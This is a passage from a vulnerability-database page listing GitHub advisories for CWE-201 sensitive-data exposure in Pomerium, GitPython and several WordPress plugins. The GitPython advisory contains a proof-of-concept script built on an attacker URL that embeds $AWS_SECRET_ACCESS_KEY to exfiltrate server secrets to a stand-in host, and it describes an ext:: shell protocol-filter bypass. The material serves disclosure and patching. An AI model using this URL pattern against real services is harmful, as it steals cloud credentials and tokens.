CWE-201
AllowedInsertion of Sensitive Information Into Sent Data
Abstraction: Base · Status: Draft
The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor.
750 vulnerabilities reference this CWE, most recent first.
GHSA-RPX2-M5M5-R7WW
Vulnerability from github – Published: 2025-09-16 15:32 – Updated: 2026-06-05 15:32Insertion of Sensitive Information Into Sent Data vulnerability in ArgusTech BILGER allows Choosing Message Identifier.This issue affects BILGER: before 2.4.6.
{
"affected": [],
"aliases": [
"CVE-2025-5519"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-16T08:15:43Z",
"severity": "MODERATE"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in ArgusTech BILGER allows Choosing Message Identifier.This issue affects BILGER: before 2.4.6.",
"id": "GHSA-rpx2-m5m5-r7ww",
"modified": "2026-06-05T15:32:04Z",
"published": "2025-09-16T15:32:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5519"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-25-0250"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-25-0250"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-RRQR-7W59-637V
Vulnerability from github – Published: 2024-07-05 19:42 – Updated: 2025-04-11 23:46Impact
The Pomerium user info page (at /.pomerium) unintentionally included serialized OAuth2 access and ID tokens from the logged-in user's session. These tokens are not intended to be exposed to end users.
This issue may be more severe in the presence of an XSS vulnerability in an upstream application proxied through Pomerium. If an attacker could insert a malicious script onto a web page proxied through Pomerium, that script could access these tokens by making a request to the /.pomerium endpoint.
Upstream applications that authenticate only the ID token may be vulnerable to user impersonation using a token obtained in this manner.
Note that an OAuth2 access token or ID token by itself is not sufficient to hijack a user's Pomerium session. Upstream applications should not be vulnerable to user impersonation via these tokens provided: - the application verifies the Pomerium JWT for each request, - the connection between Pomerium and the application is secured by mTLS, - or the connection between Pomerium and the application is otherwise secured at the network layer.
Patches
Patched in Pomerium v0.26.1.
Workarounds
None
For more information
If you have any questions or comments about this advisory:
- Open an issue in pomerium/pomerium
- Email us at security@pomerium.com
Credit to Vadim Sheydaev, aka Enr1g for reporting this issue.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/pomerium/pomerium"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.26.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-39315"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-05T19:42:11Z",
"nvd_published_at": "2024-07-02T20:15:06Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThe Pomerium user info page (at `/.pomerium`) unintentionally included serialized OAuth2 access and ID tokens from the logged-in user\u0027s session. These tokens are not intended to be exposed to end users.\n\nThis issue may be more severe in the presence of an XSS vulnerability in an upstream application proxied through Pomerium. If an attacker could insert a malicious script onto a web page proxied through Pomerium, that script could access these tokens by making a request to the `/.pomerium` endpoint.\n\nUpstream applications that authenticate only the ID token may be vulnerable to user impersonation using a token obtained in this manner.\n\nNote that an OAuth2 access token or ID token by itself is not sufficient to hijack a user\u0027s Pomerium session. Upstream applications should not be vulnerable to user impersonation via these tokens provided:\n- the application verifies the [Pomerium JWT](https://www.pomerium.com/docs/capabilities/getting-users-identity) for each request,\n- the connection between Pomerium and the application is secured by mTLS,\n- or the connection between Pomerium and the application is otherwise secured at the network layer.\n\n### Patches\nPatched in Pomerium v0.26.1.\n\n### Workarounds\nNone\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [pomerium/pomerium](https://github.com/pomerium/pomerium/issues)\n- Email us at [security@pomerium.com](mailto:security@pomerium.com)\n\nCredit to Vadim Sheydaev, aka Enr1g for reporting this issue.",
"id": "GHSA-rrqr-7w59-637v",
"modified": "2025-04-11T23:46:26Z",
"published": "2024-07-05T19:42:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pomerium/pomerium/security/advisories/GHSA-rrqr-7w59-637v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39315"
},
{
"type": "WEB",
"url": "https://github.com/pomerium/pomerium/commit/4c7c4320afb2ced70ba19b46de1ac4383f3daa48"
},
{
"type": "PACKAGE",
"url": "https://github.com/pomerium/pomerium"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pomerium exposed OAuth2 access and ID tokens in user info endpoint response"
}
GHSA-RWJ8-PGH3-R573
Vulnerability from github – Published: 2026-07-21 22:06 – Updated: 2026-07-21 22:06Summary
Repo.clone_from() passes the caller-supplied remote URL through Git.polish_url(), which on every non-Cygwin platform calls os.path.expandvars() on the URL before handing it to git clone. An attacker who controls the URL argument — the documented use case for clone_from() in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed $NAME / ${NAME} tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN with no precondition beyond the ability to submit a clone URL.
Details
Affected versions: gitpython (PyPI) — all releases up to and including 3.1.50 (latest at time of reporting); confirmed present on the main branch.
Git.polish_url() unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:
git/cmd.py (v3.1.50), lines 907–925:
@classmethod
def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:
"""Remove any backslashes from URLs to be written in config files.
...
"""
if is_cygwin is None:
is_cygwin = cls.is_cygwin()
if is_cygwin:
url = cygpath(url)
else:
url = os.path.expandvars(url) # <-- line 921
if url.startswith("~"):
url = os.path.expanduser(url)
url = url.replace("\\\\", "\\").replace("\\", "/")
return url
Repo._clone() — reached from the public Repo.clone_from() (git/repo/base.py:1520) and Repo.clone() — runs the unsafe-protocol check on the raw URL and then passes the polished (post-expansion) URL to the git clone subprocess:
git/repo/base.py (v3.1.50), lines 1407–1418:
if not allow_unsafe_protocols:
Git.check_unsafe_protocols(url)
if not allow_unsafe_options:
Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)
if not allow_unsafe_options and multi:
Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)
proc = git.clone(
multi,
"--",
Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone`
clone_path,
...
)
Because os.path.expandvars() on POSIX substitutes $NAME and ${NAME} with os.environ[NAME] when set (and on Windows additionally %NAME%), an attacker-supplied URL such as:
https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git
is rewritten server-side to embed the literal secret value in the path component, and git clone then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to attacker.example. The clone itself will typically fail, but the secret has already left the server by that point.
polish_url() was written as a local-path normalisation helper (Cygwin path conversion, ~ expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no expand_vars=False opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the clone_from docstring describes url only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the local repository path argument: Repo.__init__ emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", git/repo/base.py:226–231) and offers expand_vars=False. The same treatment is missing for the network-bound clone URL.
Secondary consequence (unsafe-protocol filter bypass). Because check_unsafe_protocols() runs on the pre-expansion URL (line 1408) but the post-expansion URL is what reaches git, an attacker who additionally controls any environment variable in the server process could set e.g. X=ext::sh -c '...' and submit url="$X"; the raw string $X passes the ext:: filter, then expands to an ext:: remote-helper transport that git will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.
PoC
Tested against gitpython==3.1.50 on Linux with Python 3 and git on PATH.
python3 -m venv /tmp/gp-venv
/tmp/gp-venv/bin/pip install gitpython==3.1.50
/tmp/gp-venv/bin/python poc.py
poc.py:
#!/usr/bin/env python3
"""
PoC: environment-variable exfiltration via Repo.clone_from() URL.
Demonstrates that an attacker-controlled `url` argument to Repo.clone_from()
is passed through os.path.expandvars() before being given to `git clone`,
so `$NAME` tokens in the URL are replaced with the server process's
environment-variable values and transmitted to the attacker-named host.
The PoC intercepts the Popen argv to show the exact URL handed to `git`
without performing real network I/O.
"""
import os
import sys
import subprocess
import tempfile
# Simulate a sensitive server-side environment variable.
os.environ["AWS_SECRET_ACCESS_KEY"] = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
import git # noqa: E402
from git import Git, Repo # noqa: E402
print(f"gitpython version: {git.__version__}")
# --- Layer 1: Git.polish_url() directly --------------------------------------
attacker_url = "https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git"
polished = Git.polish_url(attacker_url)
print("\n[Layer 1] polish_url result:")
print(f" input : {attacker_url}")
print(f" output: {polished}")
if os.environ["AWS_SECRET_ACCESS_KEY"] in polished:
print(" -> secret SUBSTITUTED into URL by polish_url()")
# --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------
captured = {}
orig_popen = subprocess.Popen
class CapturingPopen(orig_popen):
def __init__(self, cmd, *a, **kw):
if isinstance(cmd, (list, tuple)) and "clone" in cmd:
captured["cmd"] = list(cmd)
super().__init__(cmd, *a, **kw)
subprocess.Popen = CapturingPopen
import git.cmd as gitcmd # noqa: E402
gitcmd.safer_popen = CapturingPopen # non-Windows: safer_popen == Popen
dest = tempfile.mkdtemp(prefix="gp_poc_")
try:
Repo.clone_from(attacker_url, os.path.join(dest, "out"))
except Exception as e:
# The clone fails (attacker.example does not resolve); we only need argv.
print(f"\n[Layer 2] clone_from raised (expected): {type(e).__name__}")
subprocess.Popen = orig_popen
print("\n[Layer 2] argv passed to `git clone` subprocess:")
for tok in captured.get("cmd", []):
print(f" {tok}")
cmd = captured.get("cmd", [])
url_arg = cmd[cmd.index("--") + 1] if "--" in cmd else None
print(f"\n[Layer 2] URL argument given to git: {url_arg}")
secret = os.environ["AWS_SECRET_ACCESS_KEY"]
if url_arg and secret in url_arg:
print(
"\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated "
"into the remote clone URL; git would transmit it to attacker.example."
)
sys.exit(0)
print("\nNOT VULNERABLE")
sys.exit(1)
Expected output:
gitpython version: 3.1.50
[Layer 1] polish_url result:
input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git
output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
-> secret SUBSTITUTED into URL by polish_url()
[Layer 2] clone_from raised (expected): GitCommandError
[Layer 2] argv passed to `git clone` subprocess:
git
clone
-v
--
https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
/tmp/gp_poc_XXXXXXXX/out
[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
VULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.
The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, git would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.
Impact
Any application that calls Repo.clone_from() (or Repo.clone()) with a URL that is wholly or partially attacker-controlled — the canonical pattern for "import/mirror repository from URL" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.
Suggested fix: Remove the os.path.expandvars() (and os.path.expanduser()) call from Git.polish_url() for inputs that are remote URLs (contain :// or match user@host:path), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on Repo(path, expand_vars=…). Additionally, apply check_unsafe_protocols() to the post-transformation URL so no future polish_url change can silently bypass the ext:: filter.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.51"
},
"package": {
"ecosystem": "PyPI",
"name": "gitpython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.52"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-201"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T22:06:09Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n`Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument \u2014 the documented use case for `clone_from()` in \"import repository from URL\" features of CI servers, git-hosting mirrors, and dependency scanners \u2014 can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process\u0027s environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server\u0027s process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL.\n\n### Details\n**Affected versions:** `gitpython` (PyPI) \u2014 all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch.\n\n`Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:\n\n`git/cmd.py` (v3.1.50), lines 907\u2013925:\n```python\n@classmethod\ndef polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -\u003e PathLike:\n \"\"\"Remove any backslashes from URLs to be written in config files.\n ...\n \"\"\"\n if is_cygwin is None:\n is_cygwin = cls.is_cygwin()\n\n if is_cygwin:\n url = cygpath(url)\n else:\n url = os.path.expandvars(url) # \u003c-- line 921\n if url.startswith(\"~\"):\n url = os.path.expanduser(url)\n url = url.replace(\"\\\\\\\\\", \"\\\\\").replace(\"\\\\\", \"/\")\n return url\n```\n\n`Repo._clone()` \u2014 reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` \u2014 runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess:\n\n`git/repo/base.py` (v3.1.50), lines 1407\u20131418:\n```python\nif not allow_unsafe_protocols:\n Git.check_unsafe_protocols(url)\nif not allow_unsafe_options:\n Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)\nif not allow_unsafe_options and multi:\n Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)\n\nproc = git.clone(\n multi,\n \"--\",\n Git.polish_url(url), # \u003c-- line 1417: expanded URL sent to `git clone`\n clone_path,\n ...\n)\n```\n\nBecause `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as:\n\n```\nhttps://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git\n```\n\nis rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point.\n\n`polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion \u2014 the `clone_from` docstring describes `url` only as a \"Valid git url\". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning (\"The use of environment variables in paths is deprecated for security reasons\", `git/repo/base.py:226\u2013231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL.\n\n**Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c \u0027...\u0027` and submit `url=\"$X\"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.\n\n### PoC\nTested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`.\n\n```bash\npython3 -m venv /tmp/gp-venv\n/tmp/gp-venv/bin/pip install gitpython==3.1.50\n/tmp/gp-venv/bin/python poc.py\n```\n\n`poc.py`:\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: environment-variable exfiltration via Repo.clone_from() URL.\n\nDemonstrates that an attacker-controlled `url` argument to Repo.clone_from()\nis passed through os.path.expandvars() before being given to `git clone`,\nso `$NAME` tokens in the URL are replaced with the server process\u0027s\nenvironment-variable values and transmitted to the attacker-named host.\n\nThe PoC intercepts the Popen argv to show the exact URL handed to `git`\nwithout performing real network I/O.\n\"\"\"\nimport os\nimport sys\nimport subprocess\nimport tempfile\n\n# Simulate a sensitive server-side environment variable.\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n\nimport git # noqa: E402\nfrom git import Git, Repo # noqa: E402\n\nprint(f\"gitpython version: {git.__version__}\")\n\n# --- Layer 1: Git.polish_url() directly --------------------------------------\nattacker_url = \"https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\"\npolished = Git.polish_url(attacker_url)\nprint(\"\\n[Layer 1] polish_url result:\")\nprint(f\" input : {attacker_url}\")\nprint(f\" output: {polished}\")\nif os.environ[\"AWS_SECRET_ACCESS_KEY\"] in polished:\n print(\" -\u003e secret SUBSTITUTED into URL by polish_url()\")\n\n# --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------\ncaptured = {}\norig_popen = subprocess.Popen\n\nclass CapturingPopen(orig_popen):\n def __init__(self, cmd, *a, **kw):\n if isinstance(cmd, (list, tuple)) and \"clone\" in cmd:\n captured[\"cmd\"] = list(cmd)\n super().__init__(cmd, *a, **kw)\n\nsubprocess.Popen = CapturingPopen\nimport git.cmd as gitcmd # noqa: E402\ngitcmd.safer_popen = CapturingPopen # non-Windows: safer_popen == Popen\n\ndest = tempfile.mkdtemp(prefix=\"gp_poc_\")\ntry:\n Repo.clone_from(attacker_url, os.path.join(dest, \"out\"))\nexcept Exception as e:\n # The clone fails (attacker.example does not resolve); we only need argv.\n print(f\"\\n[Layer 2] clone_from raised (expected): {type(e).__name__}\")\n\nsubprocess.Popen = orig_popen\n\nprint(\"\\n[Layer 2] argv passed to `git clone` subprocess:\")\nfor tok in captured.get(\"cmd\", []):\n print(f\" {tok}\")\n\ncmd = captured.get(\"cmd\", [])\nurl_arg = cmd[cmd.index(\"--\") + 1] if \"--\" in cmd else None\nprint(f\"\\n[Layer 2] URL argument given to git: {url_arg}\")\n\nsecret = os.environ[\"AWS_SECRET_ACCESS_KEY\"]\nif url_arg and secret in url_arg:\n print(\n \"\\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated \"\n \"into the remote clone URL; git would transmit it to attacker.example.\"\n )\n sys.exit(0)\nprint(\"\\nNOT VULNERABLE\")\nsys.exit(1)\n```\n\nExpected output:\n```\ngitpython version: 3.1.50\n\n[Layer 1] polish_url result:\n input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\n output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n -\u003e secret SUBSTITUTED into URL by polish_url()\n\n[Layer 2] clone_from raised (expected): GitCommandError\n\n[Layer 2] argv passed to `git clone` subprocess:\n git\n clone\n -v\n --\n https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n /tmp/gp_poc_XXXXXXXX/out\n\n[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.\n```\n\nThe captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, `git` would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.\n\n### Impact\nAny application that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly or partially attacker-controlled \u2014 the canonical pattern for \"import/mirror repository from URL\" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines \u2014 allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.\n\n**Suggested fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call from `Git.polish_url()` for inputs that are remote URLs (contain `://` or match `user@host:path`), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves \u2014 mirroring the existing deprecation on `Repo(path, expand_vars=\u2026)`. Additionally, apply `check_unsafe_protocols()` to the *post-transformation* URL so no future `polish_url` change can silently bypass the `ext::` filter.",
"id": "GHSA-rwj8-pgh3-r573",
"modified": "2026-07-21T22:06:10Z",
"published": "2026-07-21T22:06:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2172"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL"
}
GHSA-V258-V7WV-4G7V
Vulnerability from github – Published: 2025-02-03 15:32 – Updated: 2026-04-01 18:33Insertion of Sensitive Information Into Sent Data vulnerability in GREYS Korea for WooCommerce allows Retrieve Embedded Sensitive Data. This issue affects Korea for WooCommerce: from n/a through 1.1.11.
{
"affected": [],
"aliases": [
"CVE-2025-24639"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-03T15:15:28Z",
"severity": "MODERATE"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in GREYS Korea for WooCommerce allows Retrieve Embedded Sensitive Data. This issue affects Korea for WooCommerce: from n/a through 1.1.11.",
"id": "GHSA-v258-v7wv-4g7v",
"modified": "2026-04-01T18:33:32Z",
"published": "2025-02-03T15:32:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24639"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/korea-for-woocommerce/vulnerability/wordpress-korea-for-woocommerce-plugin-1-1-11-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V3GQ-FH32-RP3X
Vulnerability from github – Published: 2026-04-08 09:31 – Updated: 2026-04-13 18:30Insertion of Sensitive Information Into Sent Data vulnerability in Pär Thernström Simple History simple-history allows Retrieve Embedded Sensitive Data.This issue affects Simple History: from n/a through <= 5.24.0.
{
"affected": [],
"aliases": [
"CVE-2026-39473"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-08T09:16:22Z",
"severity": "MODERATE"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in P\u00e4r Thernstr\u00f6m Simple History simple-history allows Retrieve Embedded Sensitive Data.This issue affects Simple History: from n/a through \u003c= 5.24.0.",
"id": "GHSA-v3gq-fh32-rp3x",
"modified": "2026-04-13T18:30:38Z",
"published": "2026-04-08T09:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39473"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/simple-history/vulnerability/wordpress-simple-history-plugin-5-24-0-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V4P5-F2R6-MRR7
Vulnerability from github – Published: 2026-08-06 15:32 – Updated: 2026-08-06 15:32Unauthenticated Sensitive Data Exposure in Export Import Menus <= 1.9.2 versions.
{
"affected": [],
"aliases": [
"CVE-2026-66684"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-06T15:17:21Z",
"severity": "MODERATE"
},
"details": "Unauthenticated Sensitive Data Exposure in Export Import Menus \u003c= 1.9.2 versions.",
"id": "GHSA-v4p5-f2r6-mrr7",
"modified": "2026-08-06T15:32:48Z",
"published": "2026-08-06T15:32:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66684"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/export-import-menus/vulnerability/wordpress-export-import-menus-plugin-1-9-2-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V59C-VG6G-V8M3
Vulnerability from github – Published: 2025-12-16 09:31 – Updated: 2026-01-20 15:32Insertion of Sensitive Information Into Sent Data vulnerability in wowpress.host Fix Media Library wow-media-library-fix allows Retrieve Embedded Sensitive Data.This issue affects Fix Media Library: from n/a through <= 2.0.
{
"affected": [],
"aliases": [
"CVE-2025-66126"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-16T09:15:56Z",
"severity": "MODERATE"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in wowpress.host Fix Media Library wow-media-library-fix allows Retrieve Embedded Sensitive Data.This issue affects Fix Media Library: from n/a through \u003c= 2.0.",
"id": "GHSA-v59c-vg6g-v8m3",
"modified": "2026-01-20T15:32:14Z",
"published": "2025-12-16T09:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66126"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/wow-media-library-fix/vulnerability/wordpress-fix-media-library-plugin-2-0-sensitive-data-exposure-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/wow-media-library-fix/vulnerability/wordpress-fix-media-library-plugin-2-0-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V5G2-VC52-6X37
Vulnerability from github – Published: 2025-12-31 18:30 – Updated: 2026-04-01 18:36Insertion of Sensitive Information Into Sent Data vulnerability in Efí Bank Gerencianet Oficial allows Retrieve Embedded Sensitive Data.This issue affects Gerencianet Oficial: from n/a through 3.1.3.
{
"affected": [],
"aliases": [
"CVE-2025-59136"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-31T16:15:43Z",
"severity": "MODERATE"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in Ef\u00ed Bank Gerencianet Oficial allows Retrieve Embedded Sensitive Data.This issue affects Gerencianet Oficial: from n/a through 3.1.3.",
"id": "GHSA-v5g2-vc52-6x37",
"modified": "2026-04-01T18:36:28Z",
"published": "2025-12-31T18:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59136"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/woo-gerencianet-official/vulnerability/wordpress-gerencianet-oficial-plugin-3-1-3-sensitive-data-exposure-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/wordpress/plugin/woo-gerencianet-official/vulnerability/wordpress-gerencianet-oficial-plugin-3-1-3-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-V9MV-65W9-G7FV
